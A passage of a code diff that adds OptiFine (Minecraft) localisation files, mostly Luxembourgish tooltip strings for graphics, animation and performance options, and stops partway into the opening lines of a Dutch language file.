+of.options.MIPMAP_TYPE=Mipmap Typ +of.options.MIPMAP_TYPE.tooltip.1=Visuellen Effekt deen Objeten aus grousser +of.options.MIPMAP_TYPE.tooltip.2=Distanz besser ausgesi léisst duerch verréngere +of.options.MIPMAP_TYPE.tooltip.3=vun den Texturdetailer. +of.options.MIPMAP_TYPE.tooltip.4= Am noosten - graff Verréngerung (am schnellsten) +of.options.MIPMAP_TYPE.tooltip.5= Linear - normal Verréngerung (schnell) +of.options.MIPMAP_TYPE.tooltip.6= Bilinear - fein Verréngerung (lues) +of.options.MIPMAP_TYPE.tooltip.7= Trilinear - feinst Verréngerung (am luesten) + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= Aus - (Standard) Keen Antialiasing (méi schnell) +of.options.AA_LEVEL.tooltip.3= 2-16 - antialiséiert Kanten an Ecker (méi lues) +of.options.AA_LEVEL.tooltip.4=Den Antialiasing mécht Kanten a Faarfiwergäng +of.options.AA_LEVEL.tooltip.5=méi fléissend. +of.options.AA_LEVEL.tooltip.6=Falls aktivéiert kënnen deng FPS staark erof goen. +of.options.AA_LEVEL.tooltip.7=Net all Stufe gi vun all Grafikaart ënnerstëtzt. +of.options.AA_LEVEL.tooltip.8=Ännerunge sinn eréischt no engem Neistart effektiv! + +of.options.AF_LEVEL=Anisotropescht Filteren +of.options.AF_LEVEL.tooltip.1=Anisotropescht Filteren +of.options.AF_LEVEL.tooltip.2= Aus - (Standard) Standard-Texturdetailer (méi schnell) +of.options.AF_LEVEL.tooltip.3= 2-16 - méi fein Texturdetailer (méi lues) +of.options.AF_LEVEL.tooltip.4=D'anisoptropescht Filtere stellt Texturdetailer +of.options.AF_LEVEL.tooltip.5=déi duerch Mipmap verluer gaange sinn erëm hier. +of.options.AF_LEVEL.tooltip.6=Falls aktivéiert kënnen deng FPS staark erof goen. + +of.options.CLEAR_WATER=Kloert Waasser +of.options.CLEAR_WATER.tooltip.1=Kloert Waasser +of.options.CLEAR_WATER.tooltip.2= Un - kloer, transparent Waasser +of.options.CLEAR_WATER.tooltip.3= Aus - normaalt Waasser + +of.options.RANDOM_ENTITIES=Zoufälleg Entitéiten +of.options.RANDOM_ENTITIES.tooltip.1=Zoufälleg Entitéiten +of.options.RANDOM_ENTITIES.tooltip.2= Aus - keng zoufälleg Entitéiten, méi schnell +of.options.RANDOM_ENTITIES.tooltip.3= Un - zoufälleg Entitéiten, méi lues +of.options.RANDOM_ENTITIES.tooltip.4=Déi selwecht Entitéite kënne verschidden +of.options.RANDOM_ENTITIES.tooltip.5=Texturen hunn. Dofir brauch een ee Ressourcepak +of.options.RANDOM_ENTITIES.tooltip.6=mat entspriechenden Texturen. + +of.options.BETTER_GRASS=Bessert Grass +of.options.BETTER_GRASS.tooltip.1=Bessert Grass +of.options.BETTER_GRASS.tooltip.2= Aus - Standard-Säitentextur vum Gras, am schnellsten +of.options.BETTER_GRASS.tooltip.3= Schnell - komplett Säitentextur vum Gras, lues +of.options.BETTER_GRASS.tooltip.4= Schéin - dynamesch Säitentextur vum Gras, am luesten + +of.options.BETTER_SNOW=Bessere Schnéi +of.options.BETTER_SNOW.tooltip.1=Bessere Schnéi +of.options.BETTER_SNOW.tooltip.2= Aus - normale Schnéi, méi schnell +of.options.BETTER_SNOW.tooltip.3= Un - bessere Schnéi, méi lues +of.options.BETTER_SNOW.tooltip.4=Wéist Schnéi ënnert transparente Bléck (Zonk, +of.options.BETTER_SNOW.tooltip.5=héijem Grass) un wann se un Schnéibléck ugrenzen. + +of.options.CUSTOM_FONTS=Schrëftressource +of.options.CUSTOM_FONTS.tooltip.1=Schrëftressource +of.options.CUSTOM_FONTS.tooltip.2= Un - Ressourcepak-Schrëft (Standard), méi lues +of.options.CUSTOM_FONTS.tooltip.3= Aus - Standardschrëft, méi schnell +of.options.CUSTOM_FONTS.tooltip.4=D'Schrëft gëtt vum ausgewielte Ressourcepak gelueden +of.options.CUSTOM_FONTS.tooltip.5= + +of.options.CUSTOM_COLORS=Faarfressource +of.options.CUSTOM_COLORS.tooltip.1=Faarfressource +of.options.CUSTOM_COLORS.tooltip.2= Un - Ressourcepak-Faarwen (Standard), méi lues +of.options.CUSTOM_COLORS.tooltip.3= Aus - Standardfaarwen, méi schnell +of.options.CUSTOM_COLORS.tooltip.4=Faarwe gi vum ausgewielte Ressourcepak gelueden +of.options.CUSTOM_COLORS.tooltip.5= + +of.options.SWAMP_COLORS=Sumpffaarwen +of.options.SWAMP_COLORS.tooltip.1=Sumpffaarwen +of.options.SWAMP_COLORS.tooltip.2= Un - Sumpffaarwe benotzen (Standard), méi lues +of.options.SWAMP_COLORS.tooltip.3= Aus - Sumpffaarwen nëtt benotzen, méi schnell +of.options.SWAMP_COLORS.tooltip.4=Sumpfaarwe concernéiere Grass, Blieder, Lianen +of.options.SWAMP_COLORS.tooltip.5=a Waasser. + +of.options.SMOOTH_BIOMES=Biomeiwwergäng +of.options.SMOOTH_BIOMES.tooltip.1=Biomeiwwergäng +of.options.SMOOTH_BIOMES.tooltip.2= Un - fléissenden Iwwergang (Standard), méi lues +of.options.SMOOTH_BIOMES.tooltip.3= Aus - kee fléissenden Iwwergang, méi schnell +of.options.SMOOTH_BIOMES.tooltip.4=De fléissenden Iwwergang gëtt duerch Prouwen an +of.options.SMOOTH_BIOMES.tooltip.5=Duerchschnëttsfaarfwäerter vun den ugrenzende +of.options.SMOOTH_BIOMES.tooltip.6=Bléck realiséiert +of.options.SMOOTH_BIOMES.tooltip.7=Concernéiert si Grass, Blieder, Lianen a Waasser + +of.options.CONNECTED_TEXTURES=Verbonnen Texturen +of.options.CONNECTED_TEXTURES.tooltip.1=Verbonnen Texturen +of.options.CONNECTED_TEXTURES.tooltip.2= Aus - keng verbonnen Texturen (Standard) +of.options.CONNECTED_TEXTURES.tooltip.3= Schnell - schnell verbonnen Texturen +of.options.CONNECTED_TEXTURES.tooltip.4= Schéin - schéi verbonnen Texturen +of.options.CONNECTED_TEXTURES.tooltip.5=Verbonnen Texture verbënnt d'Texture vu Glas, +of.options.CONNECTED_TEXTURES.tooltip.6=Sandsteen a Bicherregaler wann se niewenteneen +of.options.CONNECTED_TEXTURES.tooltip.7=placéiert ginn. D'verbonnen Texture gi vum +of.options.CONNECTED_TEXTURES.tooltip.8=ausgewielte Ressourcepak gelueden. + +of.options.NATURAL_TEXTURES=Natierlech Texturen +of.options.NATURAL_TEXTURES.tooltip.1=Natierlech Texturen +of.options.NATURAL_TEXTURES.tooltip.2= Aus - keng natierlech Texturen (Standard) +of.options.NATURAL_TEXTURES.tooltip.3= Un - benotz natierlech Texturen +of.options.NATURAL_TEXTURES.tooltip.4=Natierlech Texture maachen d'Raster-Unuerdnung +of.options.NATURAL_TEXTURES.tooltip.5=déi duerch widderhuele vum selwechte Block entsti fort. +of.options.NATURAL_TEXTURES.tooltip.6=Et gi rotéiert a gespigelt Variante vun der +of.options.NATURAL_TEXTURES.tooltip.7=Basisblocktextur genotzt. Konfiguratioun fir natierlech +of.options.NATURAL_TEXTURES.tooltip.8=Texture gi vum ausgewielte Ressourcepak gelueden. + +of.options.EMISSIVE_TEXTURES=Liichtend Texturen +of.options.EMISSIVE_TEXTURES.tooltip.1=Liichtend Texturen +of.options.EMISSIVE_TEXTURES.tooltip.2= Aus - keng liichtend Texturen (Standard) +of.options.EMISSIVE_TEXTURES.tooltip.3= Un - liichtend Texturen +of.options.EMISSIVE_TEXTURES.tooltip.4=D'liichtend Texture ginn als Overlays mat voller +of.options.EMISSIVE_TEXTURES.tooltip.5=Hellegkeet gerendert. Esou kënne liichtend Beräicher +of.options.EMISSIVE_TEXTURES.tooltip.6=vun der Grondtextur simuléiert ginn. +of.options.EMISSIVE_TEXTURES.tooltip.7=D'liichtend Texture gi vum ausgewielte +of.options.EMISSIVE_TEXTURES.tooltip.8=Ressourcepak gelueden. + +of.options.CUSTOM_SKY=Himmeltexturen +of.options.CUSTOM_SKY.tooltip.1=Himmeltexturen +of.options.CUSTOM_SKY.tooltip.2= Un - Ressourcepak-Himmeltexturen (Standard), lues +of.options.CUSTOM_SKY.tooltip.3= Aus - Standardhimmel, méi schnell +of.options.CUSTOM_SKY.tooltip.4=D'Himmeltexture gi vum Ressourcepak gelueden +of.options.CUSTOM_SKY.tooltip.5= + +of.options.CUSTOM_ITEMS=Géigestänntexturen +of.options.CUSTOM_ITEMS.tooltip.1=Géigestänntexturen +of.options.CUSTOM_ITEMS.tooltip.2= Un - Géigestänntexturen aus dem Ressourcepak +of.options.CUSTOM_ITEMS.tooltip.3= (Standard), lues +of.options.CUSTOM_ITEMS.tooltip.4= Aus - Standard-Géigestänntexturen, méi schnell +of.options.CUSTOM_ITEMS.tooltip.5=Géigestänntexture gi vum Ressourcepak gelueden. + +of.options.CUSTOM_ENTITY_MODELS=Objetmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Objetmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Un - Ressourcepakmodeller (Standard, lues) +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Aus - Standardmodeller (méi schnell) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=D'Objetmodeller gi vum ausgewielte +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=Ressourcepak gelueden. + +of.options.CUSTOM_GUIS=Ressourcepak-GUI +of.options.CUSTOM_GUIS.tooltip.1=Ressourcepak-GUI +of.options.CUSTOM_GUIS.tooltip.2= Un - Ressourcepak-GUI (Standard, méi lues) +of.options.CUSTOM_GUIS.tooltip.3= Aus - Standard GUI (méi schnell) +of.options.CUSTOM_GUIS.tooltip.4=De GUI gëtt aus dem ausgewielte Ressourcepak gelueden. + +# Details + +of.options.CLOUDS=Wolleken +of.options.CLOUDS.tooltip.1=Wolleken +of.options.CLOUDS.tooltip.2= Standard - wéi vum Grafikmodus definéiert +of.options.CLOUDS.tooltip.3= Schnell - méi geréng Qualitéit, méi schnell +of.options.CLOUDS.tooltip.4= Schéin - héich Qualitéit, méi lues +of.options.CLOUDS.tooltip.5= Aus - keng Wolleken, am schnellsten +of.options.CLOUDS.tooltip.6=Schnell Wolleke sinn am 2D gerendert. +of.options.CLOUDS.tooltip.7=Schéi Wolleke sinn am 3D gerendert. + +of.options.CLOUD_HEIGHT=Wollekenhéicht +of.options.CLOUD_HEIGHT.tooltip.1=Wollekenhéicht +of.options.CLOUD_HEIGHT.tooltip.2= Aus - Standardhéicht +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - iwwert der max. Welt héicht + +of.options.TREES=Beem +of.options.TREES.tooltip.1=Beem +of.options.TREES.tooltip.2= Standard - wéi vum Grafikmodus definéiert +of.options.TREES.tooltip.3= Schnell - méi geréng Qualitéit, méi schnell +of.options.TREES.tooltip.4= Fein - méi héich Qualitéit, schnell +of.options.TREES.tooltip.5= Schéin - héchste Qualitéit, méi lues +of.options.TREES.tooltip.6=Schnell Beem hunn onduerchsichteg Blieder +of.options.TREES.tooltip.7=Schéin a Fein Beem hunn transparent Blieder. + +of.options.RAIN=Reen a Schnéi +of.options.RAIN.tooltip.1=Reen a Schnéi +of.options.RAIN.tooltip.2= Standard - wéi vum Grafikmodus definéiert +of.options.RAIN.tooltip.3= Schnell - liichte Reen/Schnéi, méi schnell +of.options.RAIN.tooltip.4= Schéin - heftege Reen/Schnéi, méi lues +of.options.RAIN.tooltip.5= Aus - keen Reen/Schnéi, schnellst +of.options.RAIN.tooltip.6=Och wann de Reen aus ass, héiert een nach ëmmer +of.options.RAIN.tooltip.7=Geräischer + +of.options.SKY=Himmel +of.options.SKY.tooltip.1=Himmel +of.options.SKY.tooltip.2= Un - Himmel siichtbar, méi lues +of.options.SKY.tooltip.3= Aus - Himmel net siichtbar, méi schnell +of.options.SKY.tooltip.4=Och wann den Himmel aus ass, sinn de Mount an d'Sonn +of.options.SKY.tooltip.5=nach ëmmer siichtbar. + +of.options.STARS=Stären +of.options.STARS.tooltip.1=Stären +of.options.STARS.tooltip.2= Un - Stäre siichtbar, méi lues +of.options.STARS.tooltip.3= Aus - Stären net siichtbar, méi schnell + +of.options.SUN_MOON=Sonn a Mound +of.options.SUN_MOON.tooltip.1=Sonn a Mound +of.options.SUN_MOON.tooltip.2= Un - Sonn a Mound siichtbar (Standard) +of.options.SUN_MOON.tooltip.3= Aus - Sonn a Mound net siichtbar (méi schnell) + +of.options.SHOW_CAPES=Emhang weisen +of.options.SHOW_CAPES.tooltip.1=Emhang weisen +of.options.SHOW_CAPES.tooltip.2= Un - weis d'Emhäng vun de Spiller (Standard) +of.options.SHOW_CAPES.tooltip.3= Aus - d'Emhäng vun de Spiller ginn net ugewisen + +of.options.TRANSLUCENT_BLOCKS=Blocktransparenz +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocktransparenz +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Schéin - korrekt Faarfmëschung (Standard) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Schnell - schnell Faarfmëschung (méi schnell) +of.options.TRANSLUCENT_BLOCKS.tooltip.4=Kontrolléiert Faarfmëschung vun transparente Bléck +of.options.TRANSLUCENT_BLOCKS.tooltip.5=aus verschiddene Faarwen (gefierfte Glas, Waasser, Äis) +of.options.TRANSLUCENT_BLOCKS.tooltip.6=wann se hannerenee placéiert sinn oder Loft +of.options.TRANSLUCENT_BLOCKS.tooltip.7=dertëschent ass. + +of.options.HELD_ITEM_TOOLTIPS=Géigestandbeschreiw. +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Géigestandbeschreiwung +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Un - weis Géigestandbeschreiwung un (Standard) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Aus - weis keng Géigestandbeschreiwung + +of.options.ADVANCED_TOOLTIPS=Erweidert Schnellinfo +of.options.ADVANCED_TOOLTIPS.tooltip.1=Erweidert Schnellinfo +of.options.ADVANCED_TOOLTIPS.tooltip.2= Un - Erweidert Schnellinfo uweisen +of.options.ADVANCED_TOOLTIPS.tooltip.3= Aus - Erweidert Schnellinfo net uweisen (Standard) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Weist ausféierlech Informatiounen iwwert Géigestänn +of.options.ADVANCED_TOOLTIPS.tooltip.5=(ID, Halbarkeet) a Shaderastellungen +of.options.ADVANCED_TOOLTIPS.tooltip.6=(ID, Ursprong, Standard Wäert) un. + +of.options.DROPPED_ITEMS=Géigenstänn +of.options.DROPPED_ITEMS.tooltip.1=Falengelosse Géigenstänn +of.options.DROPPED_ITEMS.tooltip.2= Standard - wéi vum Grafikmodus definéiert +of.options.DROPPED_ITEMS.tooltip.3= Schnell - 2D falengelosse Géigestänn, méi schnell +of.options.DROPPED_ITEMS.tooltip.4= Schéin - 3D falengelosse Géigestänn, méi lues + +options.entityShadows.tooltip.1=Objetschieter +options.entityShadows.tooltip.2= Un - weis Objetschieter un +options.entityShadows.tooltip.3= Aus - keng Objetschieter + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Visuellen Effekt deen d'Ecker liicht ofdonkelt +of.options.VIGNETTE.tooltip.2= Standard - wéi vum Grafikmodus definéiert (Standard) +of.options.VIGNETTE.tooltip.3= Schnell - Vignette desaktivéiert (méi schnell) +of.options.VIGNETTE.tooltip.4= Schéin - Vignette aktivéiert (méi lues) +of.options.VIGNETTE.tooltip.5=D'Vignette kann ee staarken Impakt ob d'FPS hunn, +of.options.VIGNETTE.tooltip.6=virun allem wann am Vollbildmodus gespillt gëtt. +of.options.VIGNETTE.tooltip.7=De Vignette Effekt ass relativ geréng a kann dofir +of.options.VIGNETTE.tooltip.8=ouni Problem desaktivéiert ginn. + +of.options.DYNAMIC_FOV=Dynamescht Siichtfeld +of.options.DYNAMIC_FOV.tooltip.1=Dynamescht Siichtfeld +of.options.DYNAMIC_FOV.tooltip.2= Un - dynamescht Siichtfeld un (Standard) +of.options.DYNAMIC_FOV.tooltip.3= Aus - dynamescht Siichtfeld aus +of.options.DYNAMIC_FOV.tooltip.4=Wiesselt Siichtfeld beim Fléien, Sprinten +of.options.DYNAMIC_FOV.tooltip.5=oder dem Spane vun engem Bou. + +of.options.DYNAMIC_LIGHTS=Dyn. Beliichtung +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamesch Beliichtung +of.options.DYNAMIC_LIGHTS.tooltip.2= Un - keng dyn. Beliichtung (Standard) +of.options.DYNAMIC_LIGHTS.tooltip.3= Schnell - schnell dyn. Beliichtung (Update all 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Schéin - schéin dyn. Beliichtung (Update a Realzäit) +of.options.DYNAMIC_LIGHTS.tooltip.5=Liicht-Géigestänn (Fackelen, Glowstone etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=beliichten d'Ëmgéigend wann se an der Hand gehalen, +of.options.DYNAMIC_LIGHTS.tooltip.7=een anere Spiller se equipéiert huet oder se +of.options.DYNAMIC_LIGHTS.tooltip.8=um Buedem leien. + +# Performance + +of.options.SMOOTH_FPS=Stabil FPS +of.options.SMOOTH_FPS.tooltip.1=Stabiliséiert FPS duerch eidel maache +of.options.SMOOTH_FPS.tooltip.2=vum Grafikdreiwerpuffer +of.options.SMOOTH_FPS.tooltip.3= Aus - keng Stabilisatioun, FPS kënnen onstabil sinn +of.options.SMOOTH_FPS.tooltip.4= Un - FPS stabiliséiert +of.options.SMOOTH_FPS.tooltip.5=Dës Optioun hänkt vun de Grafikdreiwer of an d'Effekter +of.options.SMOOTH_FPS.tooltip.6=sinn net ëmmer siichtbar. + +of.options.SMOOTH_WORLD=Welt Stabiliséierung +of.options.SMOOTH_WORLD.tooltip.1=Hellt Lag Spëtzten déi duerch den interne Server +of.options.SMOOTH_WORLD.tooltip.2=verursaacht gi fort. +of.options.SMOOTH_WORLD.tooltip.3= Aus - keng Stabilisatioun, FPS kënnen onstabil sinn +of.options.SMOOTH_WORLD.tooltip.4= Un - FPS stabiliséiert +of.options.SMOOTH_WORLD.tooltip.5=Stabiliséiert FPS duerch verdeele vun der Laascht ob +of.options.SMOOTH_WORLD.tooltip.6=den interne Server. +of.options.SMOOTH_WORLD.tooltip.7=Nëmmen effektiv am Singleplayer. + +of.options.FAST_RENDER=Schnellt Renderen +of.options.FAST_RENDER.tooltip.1=Schnellt Renderen +of.options.FAST_RENDER.tooltip.2= Aus - Standard-Renderen (Standard) +of.options.FAST_RENDER.tooltip.3= Un - optiméiert Renderen (méi schnell) +of.options.FAST_RENDER.tooltip.4=Benotzt een optimiséierte Renderalgorithmus dee GPU +of.options.FAST_RENDER.tooltip.5=Laascht verklengert an domadder méi héich FPS +of.options.FAST_RENDER.tooltip.6=erméiglecht. + +of.options.FAST_MATH=Schnell Mathematik +of.options.FAST_MATH.tooltip.1=Schnell Mathematik +of.options.FAST_MATH.tooltip.2= Aus - Standard-Mathematik (Standard) +of.options.FAST_MATH.tooltip.3= Un - schnell Mathematik +of.options.FAST_MATH.tooltip.4=Benotzt optiméiert sin() a cos() Funktiounen déi de +of.options.FAST_MATH.tooltip.5=CPU Cache besser benotzen a méi héich FPS erméiglechen. +of.options.FAST_MATH.tooltip.6=Dës Optioun kann d'Weltgeneratioun minimal beaflossen. + +of.options.CHUNK_UPDATES=Chunk Updates +of.options.CHUNK_UPDATES.tooltip.1=Chunk Updates +of.options.CHUNK_UPDATES.tooltip.2= 1 - luest Luede vun der Welt, héich FPS (Standard) +of.options.CHUNK_UPDATES.tooltip.3= 3 - schnellt Luede vun der Welt, manner FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - schnellst Luede vun der Welt, am mannste FPS +of.options.CHUNK_UPDATES.tooltip.5=Unzuel vu Chunk Updates pro gerendert Bild. +of.options.CHUNK_UPDATES.tooltip.6=Méi héicht Wäerter kënnen d'Billerunzuel destabiliséieren. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamesch Updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamesch Chunk Updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Aus - (Standard) Standard Chunk Updates pro Bild +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Un - méi Updates wann de Spiller roueg steet +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamesch Updates forcéiert méi Chunk Updates während +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=de Spiller roueg steet fir d'Welt méi schnell ze lueden. + +of.options.LAZY_CHUNK_LOADING=Luest Chunklueden +of.options.LAZY_CHUNK_LOADING.tooltip.1=Luest Chunklueden +of.options.LAZY_CHUNK_LOADING.tooltip.2= Aus - normaalt Server-Chunklueden +of.options.LAZY_CHUNK_LOADING.tooltip.3= Un - luest Server-Chunklueden (méi fléissend) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Mécht datt d'integréiert Luede vun de Server-Chunks méi +of.options.LAZY_CHUNK_LOADING.tooltip.5=fléissend ass duerch Verdeelung vun de Chunks iwwer +of.options.LAZY_CHUNK_LOADING.tooltip.6=puer Ticks. Desaktivéier et wann Deeler vun der Welt net +of.options.LAZY_CHUNK_LOADING.tooltip.7=richteg lueden. Nëmmen effektiv am Singleplayer a bei +of.options.LAZY_CHUNK_LOADING.tooltip.8=engem Eenzel-Kär CPU. + +of.options.RENDER_REGIONS=Render Regiounen +of.options.RENDER_REGIONS.tooltip.1=Render Regiounen +of.options.RENDER_REGIONS.tooltip.2= Aus - Render Regiounen desaktivéiert (Standard) +of.options.RENDER_REGIONS.tooltip.3= Un - Render Regiounen aktivéiert +of.options.RENDER_REGIONS.tooltip.4=Render Regiounen erméiglechen ee schnellt Renderen +of.options.RENDER_REGIONS.tooltip.5=vum Terrain bei grousse Render Distanzen. +of.options.RENDER_REGIONS.tooltip.6=Ass méi aktiv wann VBOs aktivéiert ass. +of.options.RENDER_REGIONS.tooltip.7=Net fir integréiert Grafikkaarte recommandéiert. + +of.options.SMART_ANIMATIONS=Schlau Animatiounen +of.options.SMART_ANIMATIONS.tooltip.1=Schlau Animatiounen +of.options.SMART_ANIMATIONS.tooltip.2= Aus - Schlau Animatiounen desaktivéiert (Standard) +of.options.SMART_ANIMATIONS.tooltip.3= Un - Schlau Animatiounen aktivéiert +of.options.SMART_ANIMATIONS.tooltip.4=Mat schlauen Animatiounen animéiert d'Spill nëmmen +of.options.SMART_ANIMATIONS.tooltip.5=déi Animatiounen déi grad um Display siichtbar sinn. +of.options.SMART_ANIMATIONS.tooltip.6=Reduzéiert Tick Lag Spëtzten an erhéicht d'FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Virun allem nëtzlech fir grouss Modpäck +of.options.SMART_ANIMATIONS.tooltip.7=an HD Ressourcepäck. + +# Animations + +of.options.animation.allOn=All un +of.options.animation.allOff=All aus +of.options.animation.dynamic=Dynamesch + +of.options.ANIMATED_WATER=Waasser animéiert +of.options.ANIMATED_LAVA=Lava animéiert +of.options.ANIMATED_FIRE=Féier animéiert +of.options.ANIMATED_PORTAL=Portal animéiert +of.options.ANIMATED_REDSTONE=Redstone animéiert +of.options.ANIMATED_EXPLOSION=Explosiounen animéiert +of.options.ANIMATED_FLAME=Flamen animéiert +of.options.ANIMATED_SMOKE=Damp animéiert +of.options.VOID_PARTICLES=Voidpartikel +of.options.WATER_PARTICLES=Waasserpartikel +of.options.RAIN_SPLASH=Reengeplätscher +of.options.PORTAL_PARTICLES=Portalpartikel +of.options.POTION_PARTICLES=Dronkpartikel +of.options.DRIPPING_WATER_LAVA=Waasser/Lavadrëpsen +of.options.ANIMATED_TERRAIN=Terrain animéiert +of.options.ANIMATED_TEXTURES=Texturen animéiert +of.options.FIREWORK_PARTICLES=Féierwierkpartikel + +# Other + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Wéist de Lagometer um Debugbildschierm un (F3). +of.options.LAGOMETER.tooltip.2=* Orange - Memoiredrécksammlung +of.options.LAGOMETER.tooltip.3=* Turqoise - Tick +of.options.LAGOMETER.tooltip.4=* Blo - geplangten Ausféierungen +of.options.LAGOMETER.tooltip.5=* Mof - Chunk eroplueden +of.options.LAGOMETER.tooltip.6=* Roud - Chunk updaten +of.options.LAGOMETER.tooltip.7=* Giel - Siichtbarkeetstest +of.options.LAGOMETER.tooltip.8=* Gréng - Terrain rendern + +of.options.PROFILER=Debug Profiler +of.options.PROFILER.tooltip.1=Debug Profiler +of.options.PROFILER.tooltip.2= Un - Debug Profiler ass aktiv, méi lues +of.options.PROFILER.tooltip.3= Aus - Debug Profiler ass net aktiv, méi schnell +of.options.PROFILER.tooltip.4=Den Debug Profiler sammel a weist Debug Informatiounen +of.options.PROFILER.tooltip.5=un wann den Debugbildschierm un ass (F3) + +of.options.WEATHER=Wieder +of.options.WEATHER.tooltip.1=Wieder +of.options.WEATHER.tooltip.2= Un - Wieder ass aktiv, méi lues +of.options.WEATHER.tooltip.3= Aus - Wieder ass net aktiv, méi schnell +of.options.WEATHER.tooltip.4=D'Wieder kontrolléiert de Reen, Schnéi an Donnerwieder. +of.options.WEATHER.tooltip.5=D'Wiederkontroll ass nëmmen am Singleplayer méiglech. + +of.options.time.dayOnly=Nëmmen Dag +of.options.time.nightOnly=Nëmmen Nuecht + +of.options.TIME=Zäit +of.options.TIME.tooltip.1=Zäit +of.options.TIME.tooltip.2= Standard - normalen Dag/Nuecht Zyklus +of.options.TIME.tooltip.3= Nëmmen Dag - Nëmmen Dag +of.options.TIME.tooltip.4= Nëmmen Nuecht - Nëmmen Nuecht +of.options.TIME.tooltip.5=D'Zäitastellunge sinn nëmmen am Kreativemodus +of.options.TIME.tooltip.6=an am Singleplayer aktiv. + +options.fullscreen.tooltip.1=Vollbild +options.fullscreen.tooltip.2= Un - benotz de Vollbildmodus +options.fullscreen.tooltip.3= Aus - benotz de Fenstermodus +options.fullscreen.tooltip.4=De Vollbildmodus ka méi schnell oder awer méi lues sinn +options.fullscreen.tooltip.5=wéi de Fenstermodus ofhängeg vun denger Grafikkaart. + +of.options.FULLSCREEN_MODE=Vollbildmodus +of.options.FULLSCREEN_MODE.tooltip.1=Vollbildmodus +of.options.FULLSCREEN_MODE.tooltip.2= Standard - benotz d'Desktop-Opléisung, méi lues +of.options.FULLSCREEN_MODE.tooltip.3= WxH - benotz eng eege Opléisung, ka méi schnell sinn +of.options.FULLSCREEN_MODE.tooltip.4=D'ausgewielten Opléisung gëtt am Vollbildmodus +of.options.FULLSCREEN_MODE.tooltip.5=benotzt (F11). +of.options.FULLSCREEN_MODE.tooltip.6=Eng méi eng geréng Opléisung sollt méi schnell sinn. + +of.options.SHOW_FPS=FPS uweisen +of.options.SHOW_FPS.tooltip.1=Weist kompriméiert FPS a Render Informatiounen un +of.options.SHOW_FPS.tooltip.2= Fps - Duerchschnëttlech/Minimum +of.options.SHOW_FPS.tooltip.3= C: - Chunkrenderer +of.options.SHOW_FPS.tooltip.4= E: - Objet- a Blockrenderer +of.options.SHOW_FPS.tooltip.5= U: - Chunk Updates +of.options.SHOW_FPS.tooltip.6=D'kompakt FPS Informatioune ginn nëmmen ugewisen +of.options.SHOW_FPS.tooltip.7=wann de Debug-Bildschierm net siichtbar ass. + +of.options.save.default=Standard (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autospäicheren +of.options.AUTOSAVE_TICKS.tooltip.1=Autospäicher Intervall +of.options.AUTOSAVE_TICKS.tooltip.2=Den normalen Autospäicher Intervall (2s) ass net +of.options.AUTOSAVE_TICKS.tooltip.3=recommandéiert +of.options.AUTOSAVE_TICKS.tooltip.4=Autospäichere verursaacht de bekannte Lag vum Doud. + +of.options.SCREENSHOT_SIZE=Scrnshot Gréisst +of.options.SCREENSHOT_SIZE.tooltip.1=Screenshot Gréisst +of.options.SCREENSHOT_SIZE.tooltip.2= Standard - Standard Screenshot Gréisst +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - Benotzerdefinéiert Screenshot Opléisung +of.options.SCREENSHOT_SIZE.tooltip.4=D'Ophuele vu méi grousse Screenshots ka méi +of.options.SCREENSHOT_SIZE.tooltip.5=Späicher brauchen. +of.options.SCREENSHOT_SIZE.tooltip.6=Net kompatibel mat Schnellem Renderen an Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.7=Erfuerdert GPU Billerpuffer Ënnerstëtzung. + +of.options.SHOW_GL_ERRORS=Wéis GL Feeler +of.options.SHOW_GL_ERRORS.tooltip.1=Wéis OpenGL Feeler +of.options.SHOW_GL_ERRORS.tooltip.2=Falls aktivéiert ginn OpenGL Feeler am Chat ugewisen. +of.options.SHOW_GL_ERRORS.tooltip.3=Desaktivéier et nëmme wann ee bekannte Konflikt +of.options.SHOW_GL_ERRORS.tooltip.4=existéiert an d'Feeler net behuewe kenne ginn. +of.options.SHOW_GL_ERRORS.tooltip.5=Falls desaktivéiert ginn d'Feeler weiderhin an de +of.options.SHOW_GL_ERRORS.tooltip.6=Feelerlog geschriwwen an d'FPS kënne signifikant falen. diff --git a/src/assets/minecraft/optifine/lang/nl_nl.lang b/src/assets/minecraft/optifine/lang/nl_nl.lang new file mode 100644 index 00000000..0214b5d8 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/nl_nl.lang @@ -0,0 +1,745 @@ +# General +of.general.ambiguous=dubbelzinnig +of.general.compact=Compact +of.general.custom=Aangepast +of.general.from=Van +of.general.id=Id +of.general.max=Maximaal +of.general.restart=herstarten +of.general.smart=Slim + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing is niet compatibel met Shaders. +of.message.aa.shaders2=Schakel Shaders uit om deze optie te gebruiken. + +of.message.af.shaders1=Anisotropische Filtering is niet compatibel met 